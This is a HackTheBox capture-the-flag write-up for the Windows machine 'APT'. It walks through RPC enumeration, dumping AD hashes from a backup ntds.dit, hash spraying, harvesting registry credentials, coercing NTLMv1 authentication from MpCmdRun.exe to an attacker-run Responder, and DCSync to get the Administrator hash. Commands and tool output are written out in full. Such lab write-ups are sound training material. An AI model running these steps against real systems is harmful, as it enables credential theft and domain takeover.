HackTheBox - APT

HackTheBox - APT

APT is an insane difficulty Windows machine from HackTheBox and it starts with enumeration on RPC services to get a list of MSRPC interfaces. One of the interface called IObjectExporter has a method named ServerAlive() can be abused to reveals the IPv6 address of the machine. There is a share contains a backup file of AD database and it can be extracted to obtain all the users' hashes. Brute-force attack is performed to obtain one valid credentials from these hashes. With these credentials, I’m able to send a query to the registry and obtain another set of credentials for remote access to the system. A PowerShell history reveals that the machine is configured to accept NTLMv1 authentication, which is then exploited to get Administrator access.

Skills Learned

  • RPC enumeration
  • Port Forwarding
  • Remote Registry
  • Exploiting NTLMv1

Tools

Reconnaissance

Nmap - IPv4

Both the initial scan and the full scan with nmap only discovers two open ports: HTTP with IIS server on port 80, and MSRPC on port 135.

→ root@iamf «apt» «10.10.14.72» 
$ nmap -sC -sV -oA nmap/initial-apt '10.10.10.213' -v

PORT    STATE SERVICE VERSION
80/tcp  open  http    Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Gigantic Hosting | Home
135/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

TCP 80 - Website

Visiting port 80 on the browser shows up a website called “Gigantic Hosting”.

image-20210415055156844

The input vectors on https://10.13.38.16/contact-post.html don’t appear to be neither vulnerable nor injectable.

image-20210415061845703

It sends a post request with an empty body to a host that can not be resolved by my network. Here is the request.

POST https://10.13.38.16/contact-post.html HTTP/1.1
Host: 10.13.38.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.10.213/support.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Connection: keep-alive
Upgrade-Insecure-Requests: 1

I also did ran gobuster, but didn’t find anything interesting.

TCP 135 - MSRPC

Remote Procedure Call (RPC) allows applications to invoke a function (or procedure or subroutine) of a remote computer without having to understand the network’s details, and MSRPC is Microsoft’s enhanced version of DCE/RPC. MSRPC works together with the Distributed Component Object Model (DCOM), and DCOM provides a mechanism for exposing application objects and it consists of a set of RPC interfaces that can be implemented over any RPC Transport.

DCOM and RPC endpoint mapper sit on port 135 (both of them run on the shared process of svchost.exe). The RPC endpoint mapper maintains the database of endpoints that clients use to map an interface to endpoints, and there is a tool called rpcdump.py from Impacket that can be used to dump those endpoints:

→ root@iamf «apt» «10.10.14.72»
$ rpcdump.py -port 135 '10.10.10.213'

[*] Retrieving endpoint list from 10.10.10.213
...[SNIP]...
Protocol: [MS-RSP]: Remote Shutdown Protocol
Provider: wininit.exe
UUID    : D95AFE70-A6D5-4259-822E-2C84DA1DDB0D v1.0
Bindings:
          ncacn_ip_tcp:10.10.10.213[49664]
          ncalrpc:[WindowsShutdown]
          ncacn_np:\\APT[\PIPE\InitShutdown]
          ncalrpc:[WMsgKRpc06C4F0]
...[SNIP]...
[*] Received 265 endpoints.

ncacn_http, ncacn_np, ncacn_ip_tcp are known as protocol string/protocol sequence.

Scan for Listening RPC Interfaces

I can use rpcmap.py, which also from Impacket, to get a list of currently listening RPC interfaces that are accessible over TCP/IP.

→ root@iamf «apt» «10.10.14.72»
$ rpcmap.py 'ncacn_ip_tcp:10.10.10.213[135]' -brute-uuid

...[SNIP]...
Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 000001A0-0000-0000-C000-000000000046 v0.0

Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57 v0.0

Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 99FCFEC4-5260-101B-BBCB-00AA0021347A v0.0
...[SNIP]...

[*] Tested 354 UUID(s)

From the results above, three of them are the interfaces provided by DCOM, details of these interfaces are documented by Microsoft in well-known UUIDs.

Name GUID Purpose Definition
IID_IRemoteSCMActivator {000001A0-0000-0000-C000-000000000046} RPC interface UUID for IRemoteSCMActivator RemoteSCMActivator is another remote activation interface of the DCOM Remote Protocol.
IID_IActivation {4d9f4ab8-7d1c-11cf-861e-0020af6e7c57} RPC interface UUID for IActivation IActivation is the DCOM Remote Protocol remote activation interface supported on all versions of the DCOM Remote Protocol
IID_IObjectExporter {99fcfec4-5260-101b-bbcb-00aa0021347a} RPC interface UUID for IObjectExporter IObjectExporter is the interface used for OXID resolution, pinging, and server aliveness tests. All object resolvers MUST support the IObjectExporter interface

Network Interfaces Enumeration

According to this post, written by Nicolas Delhaye, the ServerAlive2() method in IObjectExport (also known as IOXIDResolver) interface can be used to retrieve a list of network interfaces of a remote computer. Nicolas also provides the PoC for this.

image-20210415065746943

Opnum is operation number to identify a specific rpc method or a method in an interface.

I can use rpcmap.py with -brute-opnums option to determine which interface’s methods are accessible, and the IObjectExport interface shows that Opnum 3 and Opnum 5 are accessible, this means access to ServerAlive() function is allowed.

→ root@iamf «rpc-enum» «10.10.14.72»
$ rpcmap.py -brute-opnums -opnum-max 5 'ncacn_ip_tcp:10.10.10.213'

...[SNIP]...
Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote
Provider: rpcss.dll
UUID: 99FCFEC4-5260-101B-BBCB-00AA0021347A v0.0
Opnum 0: rpc_x_bad_stub_data
Opnum 1: rpc_x_bad_stub_data
Opnum 2: rpc_x_bad_stub_data
Opnum 3: success
Opnum 4: rpc_x_bad_stub_data
Opnum 5: success

From here, I can use the provided PoC script.

#!/usr/bin/python

import sys, getopt

from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter

def main(argv):

    try:
        opts, args = getopt.getopt(argv,"ht:",["target="])
    except getopt.GetoptError:
        print 'IOXIDResolver.py -t <target>'
        sys.exit(2)

    target_ip = "192.168.1.1"

    for opt, arg in opts:
        if opt == '-h':
            print('IOXIDResolver.py -t <target>')
            sys.exit()
        elif opt in ("-t", "--target"):
            target_ip = arg

    authLevel = RPC_C_AUTHN_LEVEL_NONE

    stringBinding = r'ncacn_ip_tcp:%s' % target_ip
    rpctransport = transport.DCERPCTransportFactory(stringBinding)

    portmap = rpctransport.get_dce_rpc()
    portmap.set_auth_level(authLevel)
    portmap.connect()

    objExporter = IObjectExporter(portmap)
    bindings = objExporter.ServerAlive2()

    print("[*] Retrieving network interface of " + target_ip)

    for binding in bindings:
        NetworkAddr = binding['aNetworkAddr']
        print "Address: " + NetworkAddr

if __name__ == "__main__":
   main(sys.argv[1:])

The script returns with two IPv6 addresses of the machine.

→ root@iamf «rpc-enum» «10.10.14.72» 
$ ./IOXIDResolver.py -t '10.10.10.213'
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::89df:c1d4:6aaf:67ce

I will add these addresses to my /etc/hosts file.

→ root@iamf «rpc-enum» «10.10.14.72» 
$ echo 'dead:beef::b885:d62a:d679:573f apt' >> /etc/hosts

Nmap - IPv6

I will run another nmap scan against the machine on the IPv6 address.

For me, scanning these two addresses returns the same results.

This time, nmap shows the common ports of Active Directory domain controller.

→ root@iamf «apt» «10.10.14.72» 
$ nmap -6 --min-rate 1000 -sC -sV -oA nmap/initial-apt-ipv6 'dead:beef::b885:d62a:d679:573f' -v
...[SNIP]...
PORT    STATE SERVICE      VERSION
53/tcp  open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp  open  http         Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Gigantic Hosting | Home
88/tcp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2021-04-15 00:36:03Z)
135/tcp open  msrpc        Microsoft Windows RPC
389/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after:  2050-09-24T07:17:18
| MD5:   c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
|_ssl-date: 2021-04-15T00:38:57+00:00; -1s from scanner time.
445/tcp open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open  kpasswd5?
593/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Issuer: commonName=apt.htb.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-24T07:07:18
| Not valid after:  2050-09-24T07:17:18
| MD5:   c743 dd92 e928 50b0 aa86 6f80 1b04 4d22
|_SHA-1: f677 c290 98c0 2ac5 8575 7060 683d cdbc 5f86 5d45
|_ssl-date: 2021-04-15T00:38:57+00:00; -1s from scanner time.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=4/14%Time=60778A78%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -12m00s, deviation: 26m48s, median: -1s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: apt
|   NetBIOS computer name: APT\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: apt.htb.local
|_  System time: 2021-04-15T01:38:41+01:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-04-15T00:38:39
|_  start_date: 2021-04-14T16:50:06

I will take notes on:

  • Domain name: htb.local

  • FQDN: apt.htb.local

  • Host: Windows Server 2016 Standard 14393

On a full port scan, there is a WinRM listening on IPv6.

→ root@iamf «rpc-enum» «10.10.14.72»
$ nmap -p- --min-rate 1000 -6 -v 'dead:beef::b885:d62a:d679:573f'
...[SNIP]...
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
389/tcp   open  ldap
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
...[SNIP]...

TCP 445 - SMB (IPv6)

Anonymous access is allowed on SMB. The backup share seems interesting here, so I will dig into that share.

→ root@iamf «apt» «10.10.14.72» 
$ smbclient -N -L //apt 
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        backup          Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
apt is an IPv6 address -- no workgroup available

In the backup share, there is a file calledbackup.zip . I will download it to my Kali.

→ root@iamf «apt» «10.10.14.72» 
$ smbclient -N //apt/backup
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Sep 24 03:30:52 2020
  ..                                  D        0  Thu Sep 24 03:30:52 2020
  backup.zip                          A 10650961  Thu Sep 24 03:30:32 2020

                10357247 blocks of size 4096. 6964173 blocks available
smb: \> get backup.zip 
getting file \backup.zip of size 10650961 as backup.zip (502.9 KiloBytes/sec) (average 502.9 KiloBytes/sec)

Zip Crack

The backup file is protected with a password. So I will use zip2john.py to convert this backup.zip into crackable hash format, and then transfer the hash onto my Windows for cracking.

→ root@iamf «loot» «10.10.14.72» 
$ zip2john backup.zip > backup.zip.hash
→ root@iamf «loot» «10.10.14.72» 
$ cat backup.zip.hash 
backup.zip:$pkzip2$3*1*1*0*8*24*9beb*9ac6*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*acd0*9cca*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*9cca*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip2$::backup.zip:Active Directory/ntds.jfm, registry/SECURITY, Active Directory/ntds.dit:backup.zip

Jtr recovers the password of the backup file to iloveyousomuch. Now I can unzip the backup file using this password.

C:\tools\john\run> ./john.exe hashes/backup.zip.hash --wordlist=C:/tools/rockyou.txt

...[SNIP]...
iloveyousomuch   (backup.zip)
1g 0:00:00:00 DONE (2021-04-15 08:29) 35.71g/s 585142p/s 585142c/s 585142C/s 123456..christal

This backup contains AD database.

→ root@iamf «loot» «10.10.14.72» 
$ tree
.
├── Active Directory
│   ├── ntds.dit
│   └── ntds.jfm
└── registry
    ├── SECURITY
    └── SYSTEM

Dumping NTLM Hashes

ntds.dit is a database file for Active Directory environment, I can supply the SECURITY and SYSTEM files to secretsdump.py to extract all the AD users' NTLM hash.

NTDS stands for New Technology Directory Service and DIT stands for directory information tree.

→ root@iamf «loot» «10.10.14.72» 
$ secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM -security registry/SECURITY LOCAL > ad_hashes

I saved the hash to a file called ad_hashes.

TCP 88 - Kerberos

Finding Valid Usernames

Because there are so many data to try, I might accidentally get locked out if I do password spray blindly. Luckily, there is a tool called Kerbrute that can determine which users are valid based on the Kerberos pre-auth responses; If the user is a valid user, KDC returns UF_DONT_REQUIRE_PREAUTH. If it’s not, it returns KDC_ERR_C_PRINCIPAL_UNKNOWN.

Before that, I’ll pull the users and NTLM hash from ad_hashes and store them in separate list. I’ll feed users.list to kerbrute.

users.list

→ root@iamf «loot» «10.10.14.72» 
$ cat ad_hashes | grep 'aad3b435b51404eeaad3b435b51404ee' | cut -d : -f1 > ../users.list

userhash.list

→ root@iamf «loot» «10.10.14.72» 
$ cat ad_hashes | grep 'aad3b435b51404eeaad3b435b51404ee' | cut -d : -f4 > ../userhash.list

I ran kerbrute, and after some time, it returned three legitimate users.

→ root@iamf «apt» «10.10.14.72» 
$ kerbrute userenum  --dc apt --domain htb.local users.list

...[SNIP]...
2021/04/14 22:02:35 >  Using KDC(s):
2021/04/14 22:02:35 >   apt:88

2021/04/14 22:03:12 >  [+] VALID USERNAME:       APT$@htb.local
2021/04/14 22:03:12 >  [+] VALID USERNAME:       Administrator@htb.local
2021/04/14 22:07:31 >  [+] VALID USERNAME:       henry.vinson@htb.local
2021/04/14 22:15:52 >  Done! Tested 2001 usernames (3 valid) in 796.320 second

APT$ is an account used for authentication purposes in the domain, it can not be used for interactive login into the system. Because of that, I’ll only keep administrator and henry.vinson on the list of valid users. But if I have a valid NT hash of this account, that would be very useful as it can be used for DCSync attack.

Hash Brute-force

Using henry.vinson:2de80758521541d19cabba480b260e8f pair returns an authorization error message.

→ root@iamf «apt» «10.10.14.72»
$ evil-winrm -i apt -u henry.vinson -H 2de80758521541d19cabba480b260e8f

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

Another option here is to spray the NTLM hashes on henry.vinson. Unfortunately, kerbrute doesn’t support pass-the-hash yet. But there is a Python version of kerbrute called pyKerbrute (If i’m not mistaken, you can use GetNPusers.py from impacket as well). One of its tools called ADPwdSpray.py supports bruteforcing with hash.

→ root@iamf «apt» «10.10.14.72» 
$ git clone https://github.com/3gstudent/pyKerbrute.git

By default, it only supports a single hash, so I’ve modified it a bit to work with a list of hashes and IPv6.

...[SNIP]...
if __name__ == '__main__':
        kdc_a = sys.argv[1] # apt
        user_realm = sys.argv[2].upper() # htb.local
        user_name = sys.argv[3] # henry.vinson, administrator
        hashes = open(sys.argv[4], 'r').readlines() # aad3...hashes
        print('[*] DomainControlerAddr: %s'%(kdc_a))
        print('[*] DomainName:          %s'%(user_realm))
        
        for user_hash in hashes:
        	sys.stdout.write('\r[*] Trying hash: %s'%(user_hash)) # to make sure it checks every hash in list
        	user_key = (RC4_HMAC, user_hash.strip('\r\n').decode('hex'))
        	passwordspray_tcp(user_realm, user_name, user_key, kdc_a, user_hash)

After a few minutes, it returns one valid hash that works on henry.vinson.

→ root@iamf «pyKerbrute» «10.10.14.72» 
$ wc -c ../userhash.list 
66001 userhash.list
→ root@iamf «pyKerbrute» «10.10.14.72» git:(temp) ✗ 
$ python ADPwdSpray.py apt htb.local 'henry.vinson' ../userhash.list | tee ../pykerbrute-spray
[*] DomainControlerAddr: apt
[*] DomainName:          HTB.LOCAL

...[SNIP]...
[+] Valid Login: henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb

Foothold

Shell as henry.vinson_adm

Forwarding IPv4 -> IPv6

Here, a relay or a port forwarding is required to make some tools work on IPv6. There are two solutions for this:

First, use socat.

→ root@iamf «apt» «10.10.14.72» 
$ socat tcp-listen:445,fork tcp6:apt:445

Second, use ssh.

→ root@iamf «apt» «10.10.14.72» 
$ ssh -L 445:apt:445 root@localhost -Nf
→ root@iamf «apt» «10.10.14.72» 
$ netstat -tlpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:445           0.0.0.0:*               LISTEN      8548/ssh            
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      8087/sshd: /usr/sbin 
tcp6       0      0 ::1:445                 :::*                    LISTEN      8548/ssh 

I can confirm both forwarding options work by authenticating to SMB using henry.vinson creds to localhost using crackmapexec.

→ root@iamf «apt» «10.10.14.72» 
$ crackmapexec smb localhost -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb 
SMB         127.0.0.1       445    APT              [*] Windows Server 2016 Standard 14393 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         127.0.0.1       445    APT              [+] htb.local\henry.vinson e53d87d42adaa3ca32bdb34a876cbffb 

Registry Enumeration

henry.vinson can not be used to login remotely into the box.

→ root@iamf «apt» «10.10.14.72» 
$ evil-winrm -i apt -u henry.vinson -H e53d87d42adaa3ca32bdb34a876cbffb

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

But, using reg.py from Impacket, it can be used to to query to the Windows registry, specifically the user registry.

→ root@iamf «apt» «10.10.14.72» 
$ reg.py htb.local/henry.vinson@apt -hashes 'e53d87d42adaa3ca32bdb34a876cbffb:e53d87d42adaa3ca32bdb34a876cbffb' query -keyName HKU
Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU
HKU\Console
HKU\Control Panel
HKU\Environment
HKU\Keyboard Layout
HKU\Network
HKU\Software
HKU\System
HKU\Volatile Environment

On HKU\Software there is a registry key called GiganticHostingManagementSystem. This is the name of the hosted website.

→ root@iamf «apt» «10.10.14.72» 
$ reg.py htb.local/henry.vinson@apt -hashes 'e53d87d42adaa3ca32bdb34a876cbffb:e53d87d42adaa3ca32bdb34a876cbffb' query -keyName HKU\\Software   
Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

In that key, it contains the credentials for henry.vinson_adm.

→ root@iamf «apt» «10.10.14.72» 
$ reg.py htb.local/henry.vinson@apt -hashes 'e53d87d42adaa3ca32bdb34a876cbffb:e53d87d42adaa3ca32bdb34a876cbffb' query -keyName HKU\\Software\\GiganticHostingManagementSystem
Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\GiganticHostingManagementSystem
        UserName        REG_SZ   henry.vinson_adm
        PassWord        REG_SZ   G1#Ny5@2dvht

Remote Access

henry.vinson_adm credentials can be used to with evil-winrm, and this results in an interactive shell access to the system.

→ root@iamf «apt» «10.10.14.72» 
$ evil-winrm -i apt -u henry.vinson_adm -p 'G1#Ny5@2dvht'                  

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> 
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\henry.vinson_adm\Desktop> type user.txt
745212a817f60f27befd...[SNIP]...

Privilege Escalation

Shell as administrator

Enumeration

Recursive search for text files finds a PowerShell history.

*Evil-WinRM* PS C:\Users\henry.vinson_adm> gci -Path C:\Users -filter *.txt -Recurse -ErrorAction SilentlyContinue -Force

...[SNIP]...
    Directory: C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/10/2020  10:58 AM            458 ConsoleHost_history.txt

*Evil-WinRM* PS C:\Users\henry.vinson_adm> type "C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"
$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 	2 -Force}

From Wikipedia:

Send NTLM response only: Clients use NTLM authentication only, and use NTLMv2 session security if server supports it; DCs accept LM, NTLM, and NTLMv2 authentication.

With lmcompatibilitylevel = 2, it means the authentication process can be downgraded to NTLMv1.

The idea here is to coerce APT to make a request (challenge-response) to the server that the attacker controls. Instead of sending a set of random number challenge, this server has been configured to always send “1122334455667788” as its challenge.

There is a site called https://crack.sh that provides a service for cracking NTLMv1 response using rainbow tables for a specific challenge of “1122334455667788”. So after the server received the response from the given challenge, I can submit that response to crack.sh for cracking and obtain NTLM/NT hash of APT afterward.

The attack is explained in details here.

Note:

  • NetNTLM/NTLMv1 is an authentication protocol
  • NetNTLM/NTLMv1 hash != NTLM hash
  • NetNTLM/NTLMv1 hash contains NTLM hash

Stealing NTLMv1 response via MpCmdRun.exe

MpCmdRun.exe is part of Windows Defender that always runs with SYSTEM privileges. In September 2020, a security researcher named Mohammad Askar finds that MpCmdRun.exe can be used to download a file. Furthermore, it can also be used to scan a file over SMB share.

When it comes to SMB share, there will be an authentication process that happens there. This authentication process can be captured using tool called Responder.

This article explains how authentication process over SMB works

I will abuse the scan ability of MpCmdRun.exe to perform a file scan over my rogue SMB server that will capture the incoming NTLMv1/v2 response. This rogue SMB server is also Responder, and I will change the Responder configuration to always give “1122334455667788” as the challenge. The configuration file can be found at /etc/responder/Responder.conf.

After that, I can start Responder to listen on my tun0 interface and use the --lm option which will downgrade the authentication to NTLMv1.

→ root@iamf «~» «10.10.14.72» 
$ responder -I tun0 --lm                                 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3.4.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [OFF]
    FTP server                 [OFF]
    IMAP server                [OFF]
    POP3 server                [OFF]
    SMTP server                [OFF]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [OFF]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [ON]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.72]
    Challenge set              [1122334455667788]
    Don't Respond To Names     ['ISATAP']
[+] Listening for events...

Now on APT, I can force authentication with MpCmdRun.exe (located on C:\Program Files\Windows Defender).

*Evil-WinRM* PS C:\Program Files\Windows Defender>.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.72\notexist

Scan starting...
CmdTool: Failed with hr = 0x80508023. Check C:\Users\HENRY~2.VIN\AppData\Local\Temp\MpCmdRun.log for more information

Active Directory uses Kerberos as the default authentication method, but it will fallback to NTLM authentication if the client try to connect to other hosts with IP address

It errored out, but on my Kali, responder has successfully captured the hash of APT$, the computer account of the box.

...<snip>..
[+] Listening for events...
[SMB] NTLMv1 Client   : 10.10.10.213
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

Why did this happen (I ask myself) ?

As far as I know, when there are no credentials specified explicitly, Windows uses the current credentials.

However, because Windows Defender is already running as SYSTEM (built-in local system), (afaik) it can not be downgraded to a lower privilege for authentication. It won’t authenticate using SYSTEM as well. Instead, it uses the machine/computer account for authentication.

LocalSystem and NetworkService credentials use computer account for authentication.

Cracking NTLMv1 re

I can submit the hash to https://crack.sh/ with the following format.

NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384

image-20210417161415390

It will automatically detect the input.

image-20210417161541589

Not even a minute passed, it sent me the result.

image-20210417161758516

The key is d167c3238864b12f5f82feae86a7f798, it’s the NTLM hash/NThash that can be used for pass-the-hash attack.

Credentials Dumping

NTLM Hash of a computer account can not be used for remote login. Instead, it can be used to perform DCSync attack using secretsdump.py. I’ll take only the administrator hash.

→ root@iamf «~» «10.10.14.72» 
$ secretsdump.py 'htb.local/APT$@apt' -hashes 'd167c3238864b12f5f82feae86a7f798:d167c3238864b12f5f82feae86a7f798' -just-dc-user administrator

Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
...<snip>..
[*] Cleaning up...

I can login into the box using evil-winrm with the administrator hash I obtained.

→ root@iamf «~» «10.10.14.72» 
$ evil-winrm -i apt -u administrator -H c370bddf384a691d811ff3495e8a72e2

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
a1f204c405aea36388...[SNIP]...
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

References